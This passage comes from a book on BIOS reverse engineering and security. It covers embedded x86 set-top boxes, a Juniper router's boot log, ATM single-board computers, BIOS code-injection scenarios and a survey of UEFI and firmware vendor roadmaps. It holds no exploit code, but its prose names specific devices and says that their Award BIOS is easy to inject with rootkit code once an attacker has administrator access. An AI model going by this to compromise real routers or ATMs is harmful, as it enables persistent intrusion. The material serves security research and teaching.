<td>2D32 2E39 312E 3636 2031 3939 3331 3331</td>
<td>-2.91.66 1999031</td>
</tr>
<tr>
<td>000011F0</td>
<td>342F 4C69 6E75 7820 6573 312E 3131</td>
<td>/Linux (egcs-l.</td>
</tr>
<tr>
<td>00001200</td>
<td>312E 3220 7265 6C65 6173 6529 0008 0000</td>
<td>1.2 release)....</td>
</tr>
<tr>
<td>00001210</td>
<td>0000 0000 0001 0000 0000 312E 3031 0000</td>
<td>........01.01...</td>
</tr>
</tbody>
</table>

The address in hex dump 14.3 is relative to the beginning of the etBIOS binary. You can "cut and paste" the etBIOS binary by using the information from its LZH header. Recall from table 5.2 in subsection 5.1.2.7 that the LZH header contains information about the "compressed" file size, along with the length of the "compressed" file header. You can use this information to determine the start and end of the etBIOS module and then copy and paste it to a new binary file by using a hex editor. This step simplifies the etBIOS analysis process.

In sections 3.2 and 7.3, you learn about BIOS-related software development. Some techniques that you learn in those sections are applicable to embedded x86 software development and the reverse engineering of embedded x86 systems. Of particular importance is the linker script technique described in section 3.2. By using a linker script, you can control the output of GCC. Inferring from the linker script technique that you learned in section 3.2, you can conclude that the binary file that forms the etBIOS module possibly is a result of using a linker script, or at least using GCC tricks. This hint can help you complete etBIOS reverse engineering.

Many embedded x86 system developers are using GCC as their compiler of choice because of its versatility. Thus, it's not surprising that Elegent Technologies also uses it in the development of its etBIOS and related products.

Now, you likely have grasped the basics of PC-based STB. In the next subsection, I delve into network appliances based on embedded x86 technologies.

**14.2.2. Network Appliance**
This subsection talks about a network appliance device that is an embedded x86 system; I don't provide in-depth analysis like I did in the previous subsection because it's hard to obtain the binary of the BIOS in these devices. They are not publicly accessible. Nonetheless, it's important to talk about this class of devices to give you a sense of effective reverse engineering when it comes to "foreign" systems. The focus will be on a router.

I start with an overview of the BIOS used in the Juniper M7i router. This router is an embedded x86 device. A picture of the router is shown in figure 14.11.

![Juniper M7i router](image)

**Figure 14.11 Juniper M7i router**

The Juniper M7i router uses Award BIOS. BIOS screenshots are shown in figures 14.12 and 14.13.

![BIOS screenshot](image)

**Figure 14.12 Juniper M7i hard disk setup in its BIOS (courtesy of Rendo Ariya Wibawa, http://rendo.info/?p=25; reproduced with permission)**
The Award BIOS screenshots in figures 14.12 and 14.13 show that the "release number" of the BIOS is 2A69TU00. If you try to find an Award BIOS with this release number on the Web, you will find that it is for the Asus TUSL2C motherboard. The Asus TUSL2C uses the Intel 815EP chipset. However, the boot log of Juniper M7i shows that the motherboard in the router is based on the Intel 440BX chipset. The boot log is shown in listing 14.2.

Listing 14.2 Boot Log of the Juniper M7i Router (Courtesy of Rendo Ariya Wibawa, http://rendo.info/?p=25; Reproduced with Permission)

```
Will try to boot from :
  CompactFlash
  Primary IDE Hard Disk
Boot Sequence is reset due to a PowerUp
Trying to Boot from CompactFlash
Trying to Boot from Primary IDE Hard Disk
Console: serial port
BIOS drive A: is disk0
BIOS drive C: is disk1
BIOS 639 KB/523264 KB available memory
FreeBSD/i386 bootstrap loader, Revision 0.8
(builder@jormungand.juniper.net, Tue Apr 27 03:10:29 GMT 2004)
Loading /boot/defaults/loader.conf
/kern text=0x495836 data=0x2bb24+0x473c0 syms=[0x4+0x3f3a0+0x4+0x4b5ed]
```
Loader Quick Help

The boot order is PCMCIA or floppy -> Flash -> Disk -> Lan ->
back to PCMCIA or floppy. Typing reboot from the command prompt will
cycle through the boot devices. On some models, you can set the next
boot device using the nextboot command: nextboot compactflash : disk
For more information, use the help command: help <topic> <subtopic>
Hit [Enter] to boot immediately, or space bar for command prompt.
Booting [kernel]...

Copyright (c) 1996-2001, Juniper Networks, Inc.
All rights reserved.

Copyright (c) 1992-2001 The FreeBSD Project.
The Regents of the University of California. All rights reserved.
JUNOS 6.3R1.3 #0: 2004-04-27 03:22:47 UTC
builder@jormungand.juniper.net:/build/jormungand-c/6.3R1.3/obj-
1386/sys/compile/JUNIPER

Timecounter "18254" frequency 1193182 Hz
Timecounter "TSC" frequency 397948860 Hz
Origin = "GenuineIntel" Id = 0×68a Stepping = 10
Features=0×383f9ff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,SEP,MTRR,
PGE,MCA,CMOV,PAT,PSE36,MMX,FXSR,SSE>
real memory = 536870912 (524288K bytes)
avail memory = 515411968 (503332K bytes)
Preloaded elf kernel "kernel" at 0xc0696000.

DEVFS: ready for devices
Pentium Pro MTRR support enabled
md0: Malloc disk
DRAM Data Integrity Mode: ECC Mode with h/w scrubbing
npx0: <math processor> on motherboard
npx0: INT 16 interface
pci0: <Intel 82443BX host to PCI bridge (AGP disabled)> on motherboard
pci0: <PCI bus> on pcib0
isa0: <Intel 82371AB PCI to ISA bridge> at device 7.0 on pci0
isa0: <ISA bus> on isa0
atapci0: <Intel PIIX4 ATA33 controller> port 0xf000-0xf00f at device 7.1
on pci0
ata0: at 0×1f0 irq 14 on atapci0
pci0: <Intel 82371AB/EB (PIIX4) USB controller> at 7.2 irq 11
smb0: <Intel 82371AB SMB controller> port 0×5000-0×500f at device 7.3
on pci0
chip1: <PCI to CardBus bridge (vendor=104c device=ac55)> mem 0xe60405000-
0xe6045fff irq 15 at device 13.0 on pci0
chip2: <PCI to CardBus bridge (vendor=104c device=ac55)> mem 0xe6040000-
0xe6040fff irq 9 at device 13.1 on pci0
fxp0: <Intel Embedded 10/100 Ethernet> port 0xe0c00-0xe0cf3 mem 0xe6020000-
0xe603fff,0xe6040000-0xe6044fff,0xe6048000-0xe6048fff,0xe6047000-0xe6047fff irq 10 at device 19.0 on pci0
fxp1: <Intel Embedded 10/100 Ethernet> port 0xe0e00-0xe0e0f mem 0xe6000000-
0xe601fff,0xe6040000-0xe6047fff irq 10 at device 19.0 on pci0
Notice the following lines from listing 14.2:

```plaintext
pcib0: <Intel 82443BX host to PCI bridge (AGP disabled)> on motherboard
pci0: <PCI bus> on pcib0
isab0: <Intel 82371AB PCI to ISA bridge> at device 7.0 on pci0
```

These lines clearly state that the motherboard in Juniper M7i is based on the Intel 440BX chipset. You might be confused; which is right, the BIOS "release number" logic or the logic shown in the boot log? I think the right one is the boot log because Juniper Networks is big enough company that it could have asked Award to make a custom BIOS when Juniper M7i was developed. Award must have used a different BIOS "release number" scheme for the Juniper router even though it's also an x86 platform, much like desktops or servers.

From the preceding information, you can conclude the there is a possibility to attack Juniper M7i with a BIOS rootkit. However, because the API for this router is not known publicly, it's hard to infect an operational Juniper M7i with a BIOS rootkit. Attacking a router such as Juniper M7i will require reverse engineering of JunOS—the operating system of the Juniper Networks router. The reverse engineering process is needed to figure out the API to access the hardware in a running Juniper M7i router.

Some routers and hardware-based firewalls made by Cisco Systems also use embedded x86 as their platform—for example, the Cisco PIX series firewall. There are numerous other examples of network appliances based on embedded x86. The basic architecture of these systems is similar to that shown in figure 14.3. Most of them use customized BIOS; probably a modified version of the commodity BIOS from desktop or server platforms.

### 14.2.3. Kiosk

This subsection talks about the typical implementation of an x86-based kiosk. The term *kiosk* in this context refers to a point-of-sale or point-of-service (POS) device. POS devices include automatic teller machines (ATMs), and cash registers. In recent years, increasing numbers of POS devices have become x86-based, because the overall cost/performance ratio is better than that for other architecture. Figure 14.14 shows a typical POS device—an ATM.
I won't go into the detail of a complete POS device analysis. I want to focus on one building block of the system—named the single board computer (SBC)—and give an overview of its operating system. Figure 14.15 shows the typical architecture of a POS device.

![POS Device Architecture Diagram](image)

I won't explain all of the POS device components in figure 14.15; I want to focus on the SBC. Nowadays, the SBC is the heart of every POS device because every component in the
system communicates with it. Many SBCs used in a POS device today are based on x86; one of them is Advantech PCM-5822. Figure 14.16 shows the screenshot of the SBC.

Figure 14.16 Advantech PCM-5822 SBC

You can find information about this SBC on the Web at http://www.advantech.com/products/Model_Detail.asp?model_id=1-1TGZM2. This SBC has an on-board AMD Geode GX1 or Geode GXLV-200 processor. Geode is a family of x86 processors produced by AMD for embedded application. You can download the relevant datasheets for the AMD Geode GX processor family at http://www.amd.com/us-en/ConnectivitySolutions/ProductName/0,,50_2330_9863_9919,00.html. The chipset used in Advantech PCM-5822 is CX5530, a custom chipset for the AMD Geode GX processor family.

Advantech PCM-5822 SBC comes preloaded with a BIOS based on Award BIOS version 4.50PG. The BIOS is much like the standard Award BIOS 4.50 that you can find on desktop PCs produced around 1998–2000. You can download the BIOS for Advantech PCM-5822 at http://www.advantech.com/support/detail_list.asp?model_id=PCM-5822. It's quite easy to modify the BIOS in this SBC because it uses the "standard" Award BIOS 4.50. Therefore, the modification tools for it are available in the public domain.

The BIOS on this SBC is vulnerable to a code injection attack because of the usage of Award BIOS 4.50. Some vendors have customized the BIOS before using it in a POS device. However, it is usually still vulnerable to BIOS code injection because most customization is only carried out to reduce the boot time—removing certain checks during POST, changing the boot logo, and perhaps hard-coding some BIOS options. These customizations don't protect the BIOS against code injection attack.

Performing an attack on a POS device based on this SBC is difficult because the operating system running on it is customized for the embedded system, such as Windows CE or embedded Linux. Nonetheless, becoming accustomed to the API of those operating systems is trivial for an experienced system programmer because those operating systems are descendants of their desktop or server counterpart. The POS vendors choose to use Windows CE or embedded Linux because of the versatility, quick development time, and cost efficiency. In most cases, upon seeing a POS device, you wouldn't be able to recognize its operating system. Nevertheless, you might see it clearly when the POS is out of service.

---

4 This was explained in section 6.2—the section about code injection in Award BIOS.
and it displays error messages. Otherwise, you can only guess from a part number or some other vendor-related identifier in the POS device. I was able to figure out the operating system used in an ATM for one bank because the out-of-service error message was an embedded system version of the famous blue screen of death (BSOD) in Windows on the desktop platform. Upon seeing it, I knew that the ATM used Windows XP Embedded edition because the error message display the BSOD. Some systems uses Windows XP Embedded edition instead of Windows CE to take advantage of operating system features.

14.3. Embedded x86 BIOS Exploitation

In the subsection 14.2.3, you saw that some embedded x86 devices use a customized desktop version of Award BIOS. The same is true for the BIOS from other vendors. Therefore, the security hole found in the desktop version of a BIOS likely can be ported to its embedded x86 BIOS counterpart. This section gives an overview of a possible exploitation scenario to the embedded x86 BIOS.

As already mentioned, embedded x86 systems mostly use a customized operating system, such as Windows CE, Windows XP Embedded edition, or Embedded Linux. Suppose that attackers have gained administrator privileges in one of these machines. How would they "install" malicious software in the machine? If they target the BIOS, they must understand the underlying architecture of the operating system to be able to access the BIOS chip. Figure 14.17 shows the details of the steps for accessing the BIOS in embedded x86 systems.
Accessing the BIOS chip in embedded x86 systems is not a big problem if the operating system is Windows XP Embedded edition because the API used in this operating system is the same as the API in other Windows XP editions. I provided sample source code to access the BIOS chip in Windows XP in section 9.3. It's unfortunate that I don't have access to a system with Windows XP Embedded edition to try the application. Nevertheless, I think the sample source code should be portable—maybe directly executable—to Windows XP Embedded edition. On the other side, Windows CE is tricky because the API is not exactly the same as that of Windows XP. Indeed, the Windows CE API is highly compatible with the API in the desktop version of Windows. However, for a low-level API, i.e., a kernel API, it's not exactly the same. You can read the Microsoft Developer Network online documentation at http://msdn.microsoft.com to find out more about the Windows CE API. As for systems that use embedded Linux, these are easier for attackers to work with because the source code of the operating system is available in the public domain, along with some documentation about the system. As for embedded x86 systems with the operating system integrated into the BIOS, as in the case of eBIOS in subsection 14.2.1, you have to reverse engineer a compatible version of the operating system from a publicly
available BIOS binary before trying to compromise systems that use the operating system. You have to reverse engineer the binary because there's no public domain documentation that plays a role similar to that of MSDN as Windows documentation.

The next problem that attackers face is how to "inject" their code into the embedded x86 BIOS in the system so that the BIOS will not be broken. This is not a big deal for systems with Award BIOS because the code injection method is already known. For example, Acorp 4865GQET uses Award BIOS 6.00PG as its base code, so it's trivial to inject code into it. The same is true for the Advantech PCM-5822 because it uses Award BIOS 4.50PG. Moreover, the BIOS version used in embedded x86 versions always seems to be an older version compared to its desktop counterpart. As for BIOSs from other vendors, there's no published code injection method; nevertheless, the possibility is there, waiting to be exploited.
Chapter 15 What’s Next

PREVIEW

This chapter talks about the future of BIOS technology. It is an industry insight into future trends in BIOS technology, including security related issue. Some of the BIOS-related technologies in this chapter probably have reached the market. Nevertheless, it’s not widespread yet. Moreover, the future trends in embedded x86 BIOS technology is also explained briefly.

15.1. The Future of BIOS Technology

This section talks about advances in BIOS technology. The first subsection explains the basics of Unified Extensible Firmware Interface (UEFI). UEFI is the specification that must be met by future firmware in order to be compatible with future computing ecosystem—operating system, hardware and various other system components. Some of today’s products have adhered to the Extensible Firmware Interface (EFI) specification—the predecessor to UEFI. The second subsection delves into vendor-specific implementation of the UEFI specification; it highlights the future roadmap of BIOS-related development.

15.1.1. Unified Extensible Firmware Interface (UEFI)

The UEFI specification was born as the successor to EFI specification version 1.10. It was born to cope with the inability of the current BIOS to scale and adapt efficiently with the current advances in desktop, server, mobile and embedded platforms technology, particularly, in terms of development complexity and cost efficiency. The most recent specification of UEFI as of the writing of this book is UEFI specification version 2.0, released in 31 January 2006. You can download the specification at [http://www.uefi.org/specs/](http://www.uefi.org/specs/). UEFI is an interface specification between the operating system and the firmware in the system—during system boot and as well as during runtime if the firmware possesses runtime routines. Figure 15.1 shows the simplified concept of an UEFI-compliant system.
The history of UEFI starts with the development of EFI by Intel as the core firmware for Intel Itanium platform. EFI was conceived to be a platform independent firmware interface. That is why it adapts quite easily to the PC architecture, in fact, not only PC architecture but other processor architectures as well. UEFI is the latest incarnation of the platform firmware specification that’s formerly known as EFI. The primary goal of UEFI specification is to define an alternative boot environment that alleviates some of the problems inherent to BIOS-based systems, such as the high cost and complex changes needed whenever new functionalities or innovations are going to be incorporated to platform firmware.

As with other interface specification, you have to understand the basic architecture of an UEFI based system in order to understand how it works. Figure 15.2 shows the architecture of an UEFI-compliant system.

![Figure 15.2 UEFI-compliant system architecture](image)
Figure 15.2 shows the relationships among various components that forms an UEFI-compliant system. The platform hardware in figure 15.2 shows that the mass storage device—illustrated as cylinder—contains an UEFI system partition. This partition is used by certain UEFI binaries including the UEFI operating system loader. On top of the platform hardware, lays the UEFI boot services and UEFI runtime services. The UEFI boot services are application programming interfaces (APIs) provided by UEFI-compliant firmware during boot time for use by the UEFI operating system loader, UEFI application and UEFI drivers to function correctly. They are not available when the boot process completes. The UEFI runtime services are APIs provided by UEFI-compliant firmware during boot time as well as during runtime. The UEFI operating system loader loads the operating system first stage loader to the main memory and passes system control to it. The other interfaces in the platform firmware, such as the ACPI and SMBIOS interfaces exist as part of the UEFI-compliant firmware. Their functionalities are not changed, the UEFI-compliant firmware merely “encapsulates” them to provide an UEFI-compliant system. One of the characteristic of UEFI is to provide evolution path for an already established interface standards such as ACPI, SMBIOS and others. It doesn’t exist as a replacement for these interface specifications. Anyway, detail of standard boot process in an UEFI-compliant firmware is shown in figure 15.3.

![Platform boot progress](image)

Figure 15.3 Boot process of an UEFI-compliant firmware

Figure 15.3 shows clearly that UEFI-compliant firmware consists of two main parts, the UEFI boot manager and UEFI binaries. The UEFI boot manager is reminiscence of the “system BIOS” in legacy BIOS binary. UEFI binaries don’t have any exact analogy in the
legacy BIOS binary architecture. UEFI binaries consist of UEFI drivers, UEFI applications, UEFI boot code and an optional operating system loader. UEFI driver can be regarded as replacement for the legacy PCI option/expansion ROM that is used to initialize expansion cards and on-board devices. However, some UEFI drivers act as bus drivers that are used to initialize the bus in the system. It’s more like a “pre-boot” version of the device driver usually found inside a running operating system. UEFI applications are software applications that run in the UEFI pre-boot environment, for example the operating system loader. UEFI boot code is the code in the UEFI-compliant firmware that loads the operating system loader to main memory and executes the operating system. The operating system loader can be implemented as part of the UEFI binaries as value-added implementation. In this respect, the operating system loader is regarded as UEFI application.

Recall from figure 15.2, in an UEFI-compliant system, the mass storage device—part of the platform hardware—contains an UEFI system partition. This partition is a custom partition in the mass storage device that stores some of the UEFI binaries, particularly those that relate directly with the loading of the operating system loader. Moreover, value-added UEFI application can be stored in this partition too. The UEFI system partition is a mandatory part of a UEFI-compliant system because it’s required by UEFI-compliant firmware to boot from mass storage device.

Figure 15.3 show that one of the steps carried out by UEFI boot manager is initializing UEFI images. UEFI images in figure 15.3 consist of UEFI drivers and UEFI applications. Note that the operating system loader in figure 15.3 is also an UEFI application, even if it’s not shown explicitly in the image. Therefore, it’s also an UEFI image. **UEFI images are a class of files defined by UEFI specification that contain executable code.** The executable format of UEFI images is PE32+. It’s derived from Microsoft’s Portable Executable (PE) executable format. The “+” sign denotes that the PE32+ provides 64-bit relocation “fix-up” extension to standard PE32 format. Moreover, this executable format also uses a different signature to distinguish it from standard PE32 format. At this point, it’s unclear, how the image is executed in an UEFI-compliant system. UEFI specification explains about the execution environment in which UEFI images are executed in detail. I provide the relevant snippets from the specification in the following citation.

<table>
<thead>
<tr>
<th>2.3 Calling Convention</th>
</tr>
</thead>
<tbody>
<tr>
<td>Unless otherwise stated, all functions defined in the UEFI specification are called through pointers in common, architecturally defined, calling conventions defined in C compilers.</td>
</tr>
<tr>
<td>...</td>
</tr>
<tr>
<td>2.3.2 IA-32 Platforms</td>
</tr>
<tr>
<td>All functions are called with the C language calling convention. The general-purpose registers that are volatile across function calls are eax, ecx, and edx. All other general-purpose registers are nonvolatile and are preserved by the target function. In addition, unless otherwise specified by the function definition, all other registers are preserved. Firmware boot services and runtime services run in the following processor execution mode prior to the OS calling ExitBootServices():</td>
</tr>
</tbody>
</table>

---

1 Mass storage device is also called block device in some documentations.
Uniprocessor
Protected mode
Paging mode not enabled
Selectors are set be flat and are otherwise not used
Interrupts are enabled—though no interrupt services are supported other than the UEFI boot services timer functions (All loaded device drivers are serviced synchrounously by "polling.")
Direction flag in EFLAGS is clear
Other general purpose flag registers are undefined
128 KB, or more, of available stack space

An application written to this specification may alter the processor execution mode, but the UEFI image must ensure firmware boot services and runtime services are executed with the prescribed execution environment.

2.3.4 x64 Platforms

All functions are called with C calling convention.

During boot services time, the processor is in the following execution mode:

- Uniprocessor
- Long mode, in 64-bit mode
- Paging mode is enabled and any memory space defined by the UEFI memory map is identity mapped (virtual address equal physical address). The mappings to other regions are undefined and may vary from implementation to implementation
- Selectors are set be flat and are otherwise not used
- Interrupts are enabled—though no interrupt services are supported other than the UEFI boot services timer functions (All loaded device drivers are serviced synchrounously by "polling.")
- Direction flag in EFLAGS is clear
- Other general purpose flag registers are undefined
- 128 KB, or more, of available stack space

As you can see from the previous citation, the system is running in protected mode or long mode with flat memory addressing in order to run the UEFI routines. It’s also clear from the citation that the code that runs in one of these execution environment is compiled by using C compiler. C is chosen as the standard language because it’s well suited for system programming task like this. Note that the executable inside an UEFI image can be in the form of EFI byte code, i.e. not in the form of “native” executable binary of the platform in which it runs. EFI byte code is portable between different platforms because it’s executed inside an EFI interpreter that is required to be present in an UEFI-compliant firmware.

There is more to UEFI specification than what I’ve explained so far. Nonetheless, I can give you some pointers to understand the specification more easily. The specification is more than a thousand pages long. It’s hard to grasp without a “roadmap”. The key to the specification is in chapter 1 and chapter 2 of UEFI specification, especially section 1.5, UEFI design overview and all of the sections in chapter 2 of UEFI specification. Once you have grasped those sections, you are ready to delve into the next sections that you are interested. This concludes this subsection. In the next subsection, I present some implementation of the EFI/UEFI from two major firmware vendors, AMI and Phoenix Technologies.
15.1.2. BIOS Vendors Roadmap

This subsection should’ve given a glimpse over the roadmap of BIOS vendors. Nevertheless, I focus to explain the EFI/UEFI products of some vendors because that’s definitely the direction of BIOS technology.

Now, let me show you what AMI has up in its sleeve. AMI has several products that implement EFI specification. There’s no product yet that conforms to UEFI specification. Therefore, I talk about these products first to see where AMI is heading. The EFI-related products are as follows:

1. AMI Aptio; Aptio is an EFI 1.10-compliant firmware code-base written in C language. The structure of the latest Aptio firmware code-base as per its specification document is as follows:
   a. It has a porting template, which eases the process of porting code into different platforms. *Note: EFI is a cross-platform firmware interface.*
   b. The directories are structured as *board*, chipset and core functional directories.
   c. It’s using a table-based initialization method.
   d. It incorporates compatibility support module (CSM), which provides routines to support legacy BIOS interfaces that might be needed by operating system running in the target system.
   e. Support for AMI hidden disk partition (HDP). Recall from subsection 15.1.1, HDP is used by EFI-compliant firmware to store some of its data—HDP is shown as UEFI system partition in figure 15.2.
   f. It supports Intelligent Platform Management Interface (IPMI) version 2.0.
   g. Some other features that are not mentioned here.

2. AMI Enterprise64 BIOS, this is an EFI 1.1-compliant firmware used in Itanium systems.

3. AMI Pre-Boot Applications (PBA); it is a suit of EFI applications and tools that are stored in AMI HDP—HDP is analogue to UEFI system partition in UEFI terms. Recall from figure 15.3, AMI PBA is an EFI/UEFI application. AMI provides the following applications in AMI PBA:
   a. AMI Rescue and Rescue Plus: Image-based and non-destructive system recovery utility.
   b. Web browser
   c. Diagnostic utilities
   d. BIOS upgrade
   e. Hidden partition backup and restore

AMI Aptio actually has a TCG standard-compliant module. This module is implemented as an EFI/UEFI driver. Based on the latest publicly available AMI Aptio specification, this module is still under development. Looking at the various products from AMI, it’s clear that AMI is heading into the future with EFI/UEFI-based firmware, along with its value-added applications. If you look at the publication date of the UEFI specification—31 January 2006—and compare it to the current state in AMI firmware offering, you will realize that the UEFI-compliant products must be still under development. Moreover, AMI
states in its whitepaper that it uses the so-called AMI Visual eBIOS development environment to develop the current generation of BIOS-related software. This development environment speed-up BIOS-related software development compared to the DOS-based tools used in the previous generation of software produced by AMI. At the moment, AMI still produces AMIBIOS8 BIOS for its customers—the motherboard makers such as Gigabyte, DFI, etc. The majority of AMIBIOS8 BIOS variants are not based on EFI/UEFI yet. Nevertheless, it provides a seamless migration path to UEFI—based implementation in the future due to the modularity of AMIBIOS8. The explanations about AMI EFI/UEFI products give us a glimpse over the future of BIOS-related products from AMI. I summarize them in figure 15.4.

![Figure 15.4 AMI UEFI-compliant products roadmap (forecast)](image)

Note that figure 15.4 is only my forecast; it may not turn out like this forecast in the real world. I provide this forecast because AMI hasn’t release any document regarding their product roadmap to the public.

Now is the time to look at another big firmware vendor in desktop, server, mobile and embedded field, Phoenix Technologies. Phoenix has broad product offerings that utilize EFI/UEFI technologies. All of those products are based on the so-called Core System Software (CSS). Phoenix emphasizes the security issue in its products that are based on CSS. The products are even marketed under the TrustedCore name, the exact naming as follows:

1. TrustedCore Server & Embedded Server for server applications
2. TrustedCore Embedded for embedded system applications
3. TrustedCore Desktop for desktop platforms
4. TrustedCore Notebook for mobile platforms
You have learned about the detail implementation of Phoenix TrustedCore for desktop platforms in chapter 13. Therefore, I don’t explain it in detail in this chapter. Now, you will look at the comparison between different types of TrustedCore variants. It’s shown in table 15.1.

<table>
<thead>
<tr>
<th>TrustedCore Server &amp; Embedded Server</th>
<th>TrustedCore Embedded</th>
<th>TrustedCore Desktop</th>
<th>TrustedCore Notebook</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Delivers breakthrough IPMI Support for remote server management in both Microsoft .NET and heterogenous environment.</td>
<td>• Supports complete range of embedded platforms, chipsets, and operating environments to build everything from Windows industrial PCs to embedded blades systems</td>
<td>• Support for the latest CPUs and chipsets from all major vendors</td>
<td>• Supports full range of mobile computing chipsets and form factors, including notebook, sub-notebook and tablet PC</td>
</tr>
<tr>
<td></td>
<td>• Delivers the widest range of boot options in the marketplace. Boot from multiple media types or from the network</td>
<td>• Early bring-up for fast prototype builds</td>
<td>• Optimized power management includes Speedstep &amp; PowerNow support and power handling of all ACPI power states.</td>
</tr>
<tr>
<td></td>
<td>• Leverages industry standard x86 architecture and industry economics to enable entirely new embedded device types</td>
<td>• Supports the latest industry hardware bus standards</td>
<td>• Supports Absolute ComputracePlus</td>
</tr>
<tr>
<td></td>
<td>• CoreArchitect 2.0 support with drag and drop feature and automatic code creation</td>
<td>• Supports the latest industry software standards</td>
<td>• CoreArchitect 2.0 support with drag and drop feature and automatic code creation</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• CoreArchitect 2.0 support with drag and drop feature and automatic code creation</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• CoreArchitect 2.0 support with drag and drop feature and automatic code creation</td>
</tr>
</tbody>
</table>

Table 15.1 Phoenix TrustedCore products comparison

Table 15.1 shows the comparison among different products derived from the TrustedCore code base. Table 15.1 does not state explicitly that Phoenix products based on TrustedCore code base is EFI-compliant. In fact, TrustedCore code base is an **EFI version 1.1-compliant** product. Therefore, the evolution that this product needed to be UEFI 2.0 compliant is minor, much like the changes in AMI Aptio and AMI Enterprise64 BIOS shown in figure
15.4. Because of that fact, I think it’s easy to predict the direction of Phoenix BIOS-related developments in the coming years.

Another possible area for future “expansion” in the BIOS field is the remote manageability feature in servers and embedded server platforms. Intel has defined the technical specification for remote manageability that runs as part of the server hardware. The specification is called Intelligent Platform Management Interface (IPMI). You can download the latest specification at http://www.intel.com/design/servers/ipmi/. IPMI is particularly interesting because it enables a “server” machine to carryout management tasks remotely, such as rebooting a remote server that stops operating normally, etc. This is possible because of the use of dedicated “sideband” signaling interface that doesn’t require the presence of a working operating system to manage the remote machine. Normally, you will need the operating system in the remote machine to be working flawlessly in order to connect into it through the network. However, IPMI dictates the presence of the so-called baseboard management controller (BMC). The BMC is a “daughter” board—a board plugged into the motherboard—that contains a specialized microprocessor that handles health monitoring, alert and management functions independently of the main processor. Therefore, even if the main processor halts, the system is still “reachable” through the BMC. Administrators can restart or repair the machine through the BMC interface. It’s exciting to watch how this technology will be implemented in future systems. Beside the IPMI technology, it’s also important to pay attention to implementation of Intel Active Management Technology as it as been implemented in some of the most recent chipsets from Intel. These technologies need firmware level supports in order to work. This fact, of course is very exciting for firmware developers as well as firmware reverse engineers. As a pointer, you might want to look for Advanced Telecommunications Computing Architecture (ATCA)-related product whitepapers/documentations from AMI and Phoenix, because ATCA systems mostly implement “deep” remote manageability features such as IPMI.

15.2. Ubiquitous Computing and Development in BIOS Technology

The term ubiquitous computing refers to the integration of computing devices into the “daily life” environment, rather than having the computing devices as “distinct object”. This term actually refers to the situation when people do not perceive the computing device as a computing device; rather, they view it as “everyday” apparatus, more or less, like how people perceive their microwave oven as “everyday” apparatus.

In chapter 14, I have presented a TV set-top box (STB) based on embedded x86 technology. As you read in section 14.2.1, this device can be considered as part of ubiquitous computing because it’s used by people without even noticing that it’s a computing device. However, they are aware that it’s an electronic entertainment device. As explained in section 14.2.1, the implementation of the “core” etBIOS is more like a workaround to the Award BIOS binary that’s used as the basis for the embedded x86 TV

---

2 The “server” machine is not exactly a server in terms of client-server relationship. It’s more like a supervisor machine that inspects the server that’s being monitored.
In this respect, it can be viewed as the inability of the aged BIOS architecture to cope with new advances in firmware technology. In the future this won’t be as much of a problem because BIOS technology will move to UEFI-compliant solutions. As you have learned in section 15.1, UEFI specification has the so-called UEFI application. New features such as the etBIOS that converts an ordinary x86 systems into an embedded x86 appliances will be easier to develop. Moreover, because of the presence of UEFI specification, developers of value-added UEFI applications such as etBIOS will be able to port their application between different BIOS vendors almost seamlessly because all of the system firmware will adhere to the UEFI specification. The AMD vision of x86 everywhere that I mention in chapter 14 is also a driving force to the advances in embedded x86 firmware technology that will bring more x86-based embedded platform into our daily life.

They key to x86 firmware development that will help the realization of ubiquitous computing environment is the presence of a well-defined interface to build embedded application on top of the system firmware. UEFI specification has paved the way by providing a well-defined interface for the development of pre-boot application, also known as UEFI applications. I predict that there will be a significant growth in UEFI application in the coming years, particularly value-added application that turns x86 platforms into value-added embedded x86 appliances.

15.3. The Future of BIOS-related Security Threat

In the previous sections, I talk about the advances in BIOS-related technology. Now, let me continue into the security implication of those advances such as the possible exploitation scenarios and the weaknesses exposed by those advances.

First, start with the BIOS code injection possibility. In section 6.2, I’ve explained the BIOS code injection in Award BIOS through the so-called POST jump table. Simple code injection technique like that is not applicable to EFI/UEFI because of the presence of cryptographic code integrity check in the EFI/UEFI-compliant firmware. Therefore, future code-injection techniques must overcome the cryptographic code integrity check first hand. As you have learned in section 13.1.4, the code integrity check in Phoenix TrustedCore is in the boot block. Other EFI/UEFI-compliant BIOS binaries very possibly implement the code integrity check in the same way because even the main BIOS module must be ensured to be unaltered illegally during boot time to ensure the security of the system. Therefore, a code injection attack to UEFI-compliant BIOS will include an attack to the code integrity check in the boot block and a code injection in the main BIOS module. Another possible and probably easier scenario is to develop UEFI application that will be inserted into the UEFI-compliant BIOS. However, an attack like this must first ensure that if the system is using TPM hardware, the hash value in TCG hardware for the corresponding UEFI application must be updated accordingly. This kind of attack is more complex than the BIOS code injection in section 6.2.

Another consideration is the use of C compiler to build UEFI binary components. Moving-up the complexity of BIOS related development, also has it’s consequences to increase the possibility of complex attacks such as buffer overflows and other kind of attacks that usually attacks software developed by using higher level compiler than
assemblers such as C compiler. Nonetheless, the attacker must take into account the cryptographic-based protection that’s applied to BIOS code integrity checks.

Another issue that’s of concern in the future is the emergence of attacks to systems that implemented the IPMI specification. Because, if an attacker has gained access to such a system, he/she will be able to take control of the system even when it’s main processor is not functioning correctly. I’m currently researching the possibility to exploit the IPMI-based attacks. The concern is even more important because ATCA systems are widely used in telecommunication systems always implement IPMI. This concludes my explanation on future BIOS-related attacks.